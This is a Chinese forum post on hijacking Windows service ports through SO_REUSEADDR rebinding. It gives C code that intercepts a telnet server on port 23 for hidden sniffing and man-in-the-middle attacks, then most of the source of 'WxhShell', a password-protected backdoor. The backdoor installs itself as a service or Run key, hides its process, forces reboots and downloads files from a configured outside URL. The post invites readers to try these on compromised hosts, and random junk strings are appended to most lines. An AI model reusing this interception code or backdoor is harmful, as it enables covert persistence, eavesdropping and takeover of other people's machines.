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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: @JVax-N  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :KGUO{_u  
V6)\;c  
  saddr.sin_family = AF_INET; avrf]raM|  
7'\<\oT  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g+|1khS)  
f l*]ua  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }"BXqh"\`  
gf7%vyMo$  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 RI9&KS  
JK34pm[s  
  这意味着什么?意味着可以进行如下的攻击: 7KXc9:p+  
FWcE\;%yVg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >/k[6r5  
gBGUGjVj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^cB83%<Z  
cL}} ^  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tP8>0\$)  
`2Rd=M]?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U<QO@5  
60(j[d-$p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 6OuB}*  
E-\Wo3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]E$h7I  
b7 %Z~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {3cT\u  
]JF>a_2wG  
  #include O N..B} J  
  #include b:VCr^vp  
  #include 77?/e^K\S  
  #include    xsn2Qn/P  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {?yZdL:m)  
  int main() ZT;$aNy  
  { Ib3n%AG  
  WORD wVersionRequested; BU],,t\  
  DWORD ret; T9N][5\  
  WSADATA wsaData; _{0'3tI7  
  BOOL val; 5jAiqJq~y:  
  SOCKADDR_IN saddr; 6V)P4ao  
  SOCKADDR_IN scaddr; J3`a}LyDf  
  int err; 5'>DvCp%M  
  SOCKET s; ,xmmS\  
  SOCKET sc; ErmlM#u  
  int caddsize; ;zk& 7P0  
  HANDLE mt; [vCZoG8+>  
  DWORD tid;   k'Is]=3  
  wVersionRequested = MAKEWORD( 2, 2 ); Q'D%?Vg'  
  err = WSAStartup( wVersionRequested, &wsaData ); 6jz6   
  if ( err != 0 ) { KG7 ~)g  
  printf("error!WSAStartup failed!\n"); +ve S~   
  return -1; d^AXhQjQN-  
  } \>,[5|GU  
  saddr.sin_family = AF_INET; *9Eep~ 6  
   \~u7 k  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2H+!78  
_M[@a6?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); !0i6:2nw  
  saddr.sin_port = htons(23); t&m 8 V$Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }o^VEJc`O  
  { KU:RS+,e;  
  printf("error!socket failed!\n"); 4h% G %>j  
  return -1; TKJs'%Q7F6  
  } !7)` g i  
  val = TRUE; ;$=kfj9 :7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ik W 8$>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) I|&<!{Rq  
  { = cQK^$6(  
  printf("error!setsockopt failed!\n"); uW4 )DT9[5  
  return -1; 5,Rxc=  
  } NL`}rj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "QCtF55X&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \M$e#^g  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 EyU5r$G  
I'W`XN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) MPaF  
  { `p qj~s  
  ret=GetLastError(); {yj8LxX^  
  printf("error!bind failed!\n"); (.r9bl  
  return -1; 1{%3OG^'  
  } $wnK"k%G  
  listen(s,2); L TsX{z  
  while(1) EL/~c*a/  
  { ~1xfE C/  
  caddsize = sizeof(scaddr); ( x)}k&B;  
  //接受连接请求 y^OT0mZkg  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); QlxzWd3=q  
  if(sc!=INVALID_SOCKET) )67pBj  
  { P_7QZ0k/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); OO$YwOKS  
  if(mt==NULL) 4th*=ku  
  { >aw`kr  
  printf("Thread Creat Failed!\n"); R*S9[fqC[  
  break; "INIP?  
  } 'BUix!k0<  
  } (%N=7?  
  CloseHandle(mt); !]#@:Z  
  } /sU~cn^D5  
  closesocket(s); R_JB`HFy=  
  WSACleanup(); st4WjX_Q  
  return 0; R%%Uw %`  
  }   /J@<e{&t~  
  DWORD WINAPI ClientThread(LPVOID lpParam)  Vv|%;5(  
  { E}qW'  
  SOCKET ss = (SOCKET)lpParam; d1[;~)  
  SOCKET sc; 3rdrNc  
  unsigned char buf[4096]; C0O$iWs=  
  SOCKADDR_IN saddr; O%H c%EfG  
  long num; Qk5pRoL_  
  DWORD val; ?**9hu\BG  
  DWORD ret; W{@,DQ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e@j&c:p(Y  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   GMv.G  
  saddr.sin_family = AF_INET; ?b,4mDptE  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #aHJ|[[(n  
  saddr.sin_port = htons(23); $V/Hr/0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) i #pBzJ  
  { b7uxCH]Z  
  printf("error!socket failed!\n"); Cf~ vT"  
  return -1; ;xXD2{q  
  } ffH]`N  
  val = 100; J]AkWEiCJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) JK jVrx> @  
  { 59R%g .2Y  
  ret = GetLastError(); ;:WM^S  
  return -1; uge~*S  
  } yhPO$L  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) xGkc_  
  { Kb$6a'u7  
  ret = GetLastError(); L>3-z>u,  
  return -1; ;#/Uo8  
  } /l%+l@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w/49O;rV  
  { #{8t ?v l  
  printf("error!socket connect failed!\n"); +|K/*VVn`  
  closesocket(sc); r9 5hW  
  closesocket(ss); U,g)N[|  
  return -1; |a|##/  
  } .wpp)M.w;H  
  while(1) .Ce0yAl~  
  { y$,j'B:;4m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =".sCV9"N  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Dug{)h_2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )a=FhSB[G  
  num = recv(ss,buf,4096,0); 4 (>8tP\Y  
  if(num>0) xRrKrs&eE  
  send(sc,buf,num,0); %E\pd@  
  else if(num==0) dxa[9>V  
  break; /EvnwYQy  
  num = recv(sc,buf,4096,0); zcE` .)y  
  if(num>0) p|`[8uY?  
  send(ss,buf,num,0); K%@#a}kRb  
  else if(num==0) Ib}~Q@?2  
  break; IM(=j  
  } D:56>%y@  
  closesocket(ss);  _(_U=  
  closesocket(sc); Q2LAXTF]y  
  return 0 ; xXQW|#X\  
  } gw^X-  
E%&E<<nhZ  
CBu$8]9=  
========================================================== U|jip1\  
EmYu]"${1  
下边附上一个代码,,WXhSHELL ;\],R.!  
( L 8V)1N  
========================================================== ] <y3;T\~  
1,Uf-i  
#include "stdafx.h" C'&t@@:  
w:|YOeP  
#include <stdio.h> b/g~;| <  
#include <string.h> XTKAy;'5  
#include <windows.h> k%K\~U8"  
#include <winsock2.h> O|e/(s?$  
#include <winsvc.h> W*Gp0pX  
#include <urlmon.h> N 6t`45  
m^%Xl@V:c-  
#pragma comment (lib, "Ws2_32.lib") @~j- -L  
#pragma comment (lib, "urlmon.lib") OlcWptM$  
j\%m6\{n|  
#define MAX_USER   100 // 最大客户端连接数 =|O><O|  
#define BUF_SOCK   200 // sock buffer "tUc  
#define KEY_BUFF   255 // 输入 buffer cS;O]>/5  
y"nL9r.,:  
#define REBOOT     0   // 重启 +V,Ld&r  
#define SHUTDOWN   1   // 关机 pP^"p"<s  
E>L_$J-A-  
#define DEF_PORT   5000 // 监听端口 a-Ne!M[  
MngfXm  
#define REG_LEN     16   // 注册表键长度 r.10b]b  
#define SVC_LEN     80   // NT服务名长度 3F\UEpQ  
w@$_2t  
// 从dll定义API `XK+Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &?0hj@kd~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [h@MA|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2`cVi"U  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y6ORI  
M^?=!!US^  
// wxhshell配置信息 qy,X#y'FuE  
struct WSCFG { VK/i5yT5N  
  int ws_port;         // 监听端口 Y^ ti;:  
  char ws_passstr[REG_LEN]; // 口令 Jh`6@d  
  int ws_autoins;       // 安装标记, 1=yes 0=no .{Df"e>  
  char ws_regname[REG_LEN]; // 注册表键名 F94Qb}  
  char ws_svcname[REG_LEN]; // 服务名 :qxd s>Xm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 A,f%0 eQR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0qk.NPMB0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <^YZ#3~1T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no nH(H k%~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fudLm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fS- 31<?  
E?^A+)<"  
}; ~\~XD+jy"  
*h Bo,   
// default Wxhshell configuration 5%%A2FrB.S  
struct WSCFG wscfg={DEF_PORT, OJ4-p&1  
    "xuhuanlingzhe", 5c+7c@.  
    1, v}^ f8nVR  
    "Wxhshell", !Z`xwk"!  
    "Wxhshell", -"X} )N2  
            "WxhShell Service", Rss=ihlM  
    "Wrsky Windows CmdShell Service",  !#Hca  
    "Please Input Your Password: ", VkDFR [k_  
  1, Tx0l^(n  
  "http://www.wrsky.com/wxhshell.exe", *N?y<U  
  "Wxhshell.exe" ;J40t14u  
    }; V[BlT|t  
)`gE-udR  
// 消息定义模块 #^;^_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8- ]7>2?_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WA79(B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G)wIxm$?0  
char *msg_ws_ext="\n\rExit."; "K$ y(}C  
char *msg_ws_end="\n\rQuit."; gKay3}w  
char *msg_ws_boot="\n\rReboot..."; D[iIj_CKQ  
char *msg_ws_poff="\n\rShutdown..."; "Gm:M  
char *msg_ws_down="\n\rSave to "; fP 5!`8  
?.&?4*u  
char *msg_ws_err="\n\rErr!"; tmf= 1M  
char *msg_ws_ok="\n\rOK!"; k.CHMl]  
> [|SF%  
char ExeFile[MAX_PATH]; k%v/&ojI  
int nUser = 0; D $[/|%3  
HANDLE handles[MAX_USER]; ,wlSNb@'  
int OsIsNt; 4!r> ^a  
q'p>__Ox  
SERVICE_STATUS       serviceStatus; %D:5 S?{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4uUR2J  
q{t"=@lX01  
// 函数声明 `O/RNMaC  
int Install(void); -!p -nk@9|  
int Uninstall(void); !saKAb}d7H  
int DownloadFile(char *sURL, SOCKET wsh); N~A#itmdx  
int Boot(int flag); k<3 _!?3  
void HideProc(void); `[J(a u$z  
int GetOsVer(void); #O .-/&Z  
int Wxhshell(SOCKET wsl);  p3r1lUw  
void TalkWithClient(void *cs); P$|DiiH  
int CmdShell(SOCKET sock); > AV R3b  
int StartFromService(void); jn;b{*Lf  
int StartWxhshell(LPSTR lpCmdLine); K-}'Fiq  
tF d^5A*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _\Cd.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y|+ltAK  
T\ h_8  
// 数据结构和表定义 v1j]&3O  
SERVICE_TABLE_ENTRY DispatchTable[] = xR, ;^R|C  
{ R.)U<`||  
{wscfg.ws_svcname, NTServiceMain}, !jDqRXi(  
{NULL, NULL} :`ysq  
}; 9N'um%J3%s  
y'k4>,`9e  
// 自我安装 C4P7,  
int Install(void) /fM6%V=Y  
{ &sx|sLw)  
  char svExeFile[MAX_PATH]; |k4ZTr]?  
  HKEY key; db!2nImNu\  
  strcpy(svExeFile,ExeFile); pPG@_9qf  
`|^<y.-6  
// 如果是win9x系统,修改注册表设为自启动 E4'D4@\W  
if(!OsIsNt) { '#.:%4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rS 4'@a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ka&-tGg  
  RegCloseKey(key); uXNf)?MpA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VM3H&$d(h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oLn| UWe_  
  RegCloseKey(key); Te#wU e-|  
  return 0; V6d*O`  
    } IfZaK([  
  } GZc%*  
} G\H@lFh  
else { @$79$:q N  
(t9qwSS8z  
// 如果是NT以上系统,安装为系统服务 {fMrx1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'ej{B0rE  
if (schSCManager!=0) Sg<''pUh  
{ *3<m<<>U  
  SC_HANDLE schService = CreateService FJ}QKDQW=  
  ( ':!;6v|L  
  schSCManager, K(plzQ3  
  wscfg.ws_svcname, f41!+W=  
  wscfg.ws_svcdisp, S@7A)  
  SERVICE_ALL_ACCESS, cQv*lvG9>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ' U)~|(\i  
  SERVICE_AUTO_START, fXw%2wg  
  SERVICE_ERROR_NORMAL, A?;/]m;  
  svExeFile, rDYq]`  
  NULL, o0wep&@  
  NULL, r\[HR ^`  
  NULL, =I/J !}.  
  NULL, ZF;S}1  
  NULL 5Tp n`2F  
  ); |U^ ff^]  
  if (schService!=0) 2uWzcy ?F  
  { hP,1;`[1  
  CloseServiceHandle(schService); ,h]N*Z-I"  
  CloseServiceHandle(schSCManager); :7Vm]xd}do  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _'AIXez7q  
  strcat(svExeFile,wscfg.ws_svcname); V_}`2.Pg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y::;e#.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ORx,n7-  
  RegCloseKey(key); igz:ek`  
  return 0; IFPywL{K  
    } F;ONo.v;  
  } (p14{  
  CloseServiceHandle(schSCManager); N"t, 6tH  
} .(S,dG0P  
} /p>"|z  
6XQ)Q)  
return 1; 66'TdF]"  
} }C#YR( ]  
6w}:w?=6  
// 自我卸载 jd2Fh):q  
int Uninstall(void) m2|0<P@k!  
{ !gf&l ^)  
  HKEY key; JpD YB  
5Cy)#Z{  
if(!OsIsNt) {  ]NAPvw#p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GN1cnM>`  
  RegDeleteValue(key,wscfg.ws_regname); \k1Wh-3  
  RegCloseKey(key); ~82jL%-u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (rw bF  
  RegDeleteValue(key,wscfg.ws_regname); xJ&StN/'  
  RegCloseKey(key); h'-TZXs0e1  
  return 0; 2|%30i,vV  
  } ^1cqx]>E  
} Y5MHd>m  
} ~hvhT}lE  
else { :za!!^  
{ J0^S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); //+UQgl6  
if (schSCManager!=0) (`!| Uf$  
{ %okEN !=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sa#"@j)  
  if (schService!=0) ,+X8?9v  
  { c~RIl5j  
  if(DeleteService(schService)!=0) { >M1/m=a  
  CloseServiceHandle(schService); Pucf0 #  
  CloseServiceHandle(schSCManager); *q0N$}k  
  return 0; ldX]A#d.  
  } J)fS2Ni+  
  CloseServiceHandle(schService); D9LwYftZ  
  } <m(nZ'Zqz2  
  CloseServiceHandle(schSCManager); r\3In-(AT  
} F}01ikXDb'  
} F'#3wCzt  
. t3@86xTJ  
return 1; 2#!$f_  
} ADBw" ? >  
S,8zh/1y  
// 从指定url下载文件 FD@! z :  
int DownloadFile(char *sURL, SOCKET wsh) k2@IJ~  
{ P! O#"(r2]  
  HRESULT hr; K0E ;4r  
char seps[]= "/"; |;_ yAL  
char *token; 1QN]9R0`#7  
char *file; S$H4xkKs  
char myURL[MAX_PATH]; &1[5b8H;+  
char myFILE[MAX_PATH]; Xl aNR+  
]52_p[hZ}<  
strcpy(myURL,sURL); lT:<ZQyjT  
  token=strtok(myURL,seps); rzTyHK[  
  while(token!=NULL) 3?geJlD4  
  { ?B}>[  
    file=token; u51/B:+   
  token=strtok(NULL,seps); hNoN=J  
  } ^Ue.9#9T&g  
c"z%AzUV'  
GetCurrentDirectory(MAX_PATH,myFILE); 9/%|#b-z  
strcat(myFILE, "\\"); N4Lk3]  
strcat(myFILE, file); iK#{#ebAoW  
  send(wsh,myFILE,strlen(myFILE),0); _N]yI0k(  
send(wsh,"...",3,0); ,H%\+yn{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m:41zoV  
  if(hr==S_OK) PLY7qM w  
return 0; S77Gc:[;8  
else E+2y-B)E  
return 1; Z~nl{P#  
?eO|s5r  
} 8r|LFuI  
<^~F~]wnH  
// 系统电源模块 5Ci}w|c/>  
int Boot(int flag) zV &3l9?U  
{ ^$L/Mv+  
  HANDLE hToken; zR .MXr  
  TOKEN_PRIVILEGES tkp; 7RLh#D|  
]S[r$<r$  
  if(OsIsNt) { ZV U9t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lxd<^R3i#^  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dg!sRm1iZ:  
    tkp.PrivilegeCount = 1; UEeqk"t^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uJO*aA{K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /Yh([P>  
if(flag==REBOOT) { Ya. $x~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) us cR/d  
  return 0; E.6\(^g  
} ~9c9@!RA2  
else { aj,ZM,Ad  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C[pDPx,#:G  
  return 0; MQ+ek4  
} 3edAI&a5  
  } Iu[EUi!"  
  else { f LW>-O73  
if(flag==REBOOT) { 6:!fyia  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ZJpI]^9|  
  return 0; lV 9q;!/1  
} QEgv,J{  
else { 0%t|?@HoN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (NQ[AypMI  
  return 0; e)7)~g54  
} <(MFEIt  
} &zp5do;m  
d5\1-d_uz  
return 1; op*+fJHD  
} }';&0p2Z  
^ \?9W  
// win9x进程隐藏模块 -^5R51  
void HideProc(void) >guQY I@4,  
{ uM}O8N  
H6O\U2+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g)9/z  
  if ( hKernel != NULL ) -0`hJ_(  
  { n`,Q:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t>fB@xHBB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {<2Zb N?  
    FreeLibrary(hKernel); |$t0cd  
  } =gIYa  
LTe7f8A  
return; w(j9[  
} = I(s7=Liu  
hvyN8We  
// 获取操作系统版本 {P-PH$ E-  
int GetOsVer(void) a)1,/:7'  
{ b {5|2&=  
  OSVERSIONINFO winfo; r2th6hl~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Lk9>7xY  
  GetVersionEx(&winfo); b{rmxtx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RtL<hD  
  return 1; ^ztf:'l@C  
  else 4.'EEuRw\}  
  return 0; + LwoBn>6  
}  kTz  
oc(bcU  
// 客户端句柄模块 rd)) H  
int Wxhshell(SOCKET wsl) *eP4dGe&  
{ o zYI/b^  
  SOCKET wsh; Pb,^UFa=  
  struct sockaddr_in client; >{S$0D  
  DWORD myID; =oME~oB~  
i[pf*W0g  
  while(nUser<MAX_USER) /aqN`  
{ EVFfXv^  
  int nSize=sizeof(client); 6dL>Rzl$Dk  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qt(:bEr^6b  
  if(wsh==INVALID_SOCKET) return 1; 8ilbX)O  
O[y`'z;C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?/( K7>`  
if(handles[nUser]==0) b-?o?}*  
  closesocket(wsh); kA4ei  
else ~@D%qbN  
  nUser++; ;ZJ,l)BNO  
  } PHvjsA%"   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /09=Tyy/\  
/ aG>we  
  return 0; `5Btg. &  
} hD1AK+y  
LrMFzd}_O  
// 关闭 socket -y?Z}5-rs  
void CloseIt(SOCKET wsh) h'~- K`  
{ !yX<v%>_0  
closesocket(wsh); >U<nEnB$?  
nUser--; yk<jlVF$j  
ExitThread(0); )VMBo6:+  
} lM,zTNu-z  
#sU~fq  
// 客户端请求句柄 u;Eu<jU1  
void TalkWithClient(void *cs) prN(V1O  
{ U.U.\   
EcoUpiL%2  
  SOCKET wsh=(SOCKET)cs; ^P/D8cXa4  
  char pwd[SVC_LEN]; b@/ON}gX  
  char cmd[KEY_BUFF]; rx>Tc#g  
char chr[1]; 49oW 'j  
int i,j; 2^6TrZA7M6  
(QSWb>np  
  while (nUser < MAX_USER) { *\KMkx  
<IyLLQ+v  
if(wscfg.ws_passstr) { w3qf7{b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _[i=TqVmf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !rg0U<bO!  
  //ZeroMemory(pwd,KEY_BUFF); @>2rz  
      i=0; V6MT>T  
  while(i<SVC_LEN) { 82za4u$q#  
S}^s 5ztm  
  // 设置超时 0 jP00   
  fd_set FdRead; u)`|q_y+8  
  struct timeval TimeOut; :{:?D\%6  
  FD_ZERO(&FdRead); d._gH#&v  
  FD_SET(wsh,&FdRead); 0DB<hpC:5  
  TimeOut.tv_sec=8; +?Jk@lE<  
  TimeOut.tv_usec=0; T[h}A"yK;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -\'.JA_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qTHg[sME  
&JhIn%=-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -ouJf}#R  
  pwd=chr[0]; kg I=0W>  
  if(chr[0]==0xd || chr[0]==0xa) { pq?[wp"  
  pwd=0; n,jE#Z.D  
  break; 9U9c"'g  
  } "gN*J)!x  
  i++; R%N#G<^R  
    } V> a3V'  
{<}I9D5  
  // 如果是非法用户,关闭 socket CDW(qq-zD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vQYfoam;  
} A,lw-(.z4Z  
ss`q{ARb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k;fnC+Y$s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *KjVPs  
im \ YL<  
while(1) { _X%6+0M  
H"FflmUO  
  ZeroMemory(cmd,KEY_BUFF); I"cQ5gF?A  
x-V' 0-#U>  
      // 自动支持客户端 telnet标准   /ik)4]>  
  j=0; jO&f*rxN  
  while(j<KEY_BUFF) { E8iadf49  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %<=vbL9  
  cmd[j]=chr[0]; ;h-G3>Il  
  if(chr[0]==0xa || chr[0]==0xd) { DtF![0w/  
  cmd[j]=0; =o{: -EKQF  
  break; 0(9I\j5`TT  
  } e(n2+S#N  
  j++; RM^?&PM85  
    } or!D  
Nx4DC  
  // 下载文件 c ;21i;&,9  
  if(strstr(cmd,"http://")) { `! ,\kc1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BBU84s[  
  if(DownloadFile(cmd,wsh)) >^T,U0T])  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |P.  =  
  else n$hqNsM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HV*:<2P%D  
  } U/3e,`c  
  else { nF. ;LM  
yo?g"vbE  
    switch(cmd[0]) { U| 41u4)D  
  0K$WSGB?6j  
  // 帮助 UYcyk $da  
  case '?': { dWW-tHv#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PK-}Ldj  
    break; nz&b5Xb2  
  } dEQReD  
  // 安装 |%:q hs,  
  case 'i': { )~?S0]j}  
    if(Install()) []=FZ`4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0i`v:Lq%  
    else Y uw E 0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2pxWv )0  
    break; rY[3_NG%  
    } hpqHllL  
  // 卸载 ,NaV [ "9$  
  case 'r': { n~"g'Y  
    if(Uninstall())  EbBv}9g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xS H6n  
    else ,<Grd5em.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PUQ_w  
    break; =#.8$oa^  
    } %)<oX9E  
  // 显示 wxhshell 所在路径 OUlxeo/  
  case 'p': { I*+LJy;j  
    char svExeFile[MAX_PATH]; )I Y 5Y  
    strcpy(svExeFile,"\n\r"); XDP6T"h  
      strcat(svExeFile,ExeFile); rSF;Lp)}  
        send(wsh,svExeFile,strlen(svExeFile),0); m0%iw1OsH%  
    break; /^z/]!JG:V  
    } LM"W)S  
  // 重启 'FPcAW^8  
  case 'b': { 6:|!1Pg5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <i{m.p R>  
    if(Boot(REBOOT)) _:ZFCDO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E !Oz|q  
    else { Z9J =vzsHE  
    closesocket(wsh); ~zE 1'  
    ExitThread(0); 3ZW/$KP/  
    } nJldz;  
    break; z^ aCQ3E  
    } hkmTpH1<M  
  // 关机 r+[#%%}ea  
  case 'd': { ="5k\1W1M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r/N[7 *i  
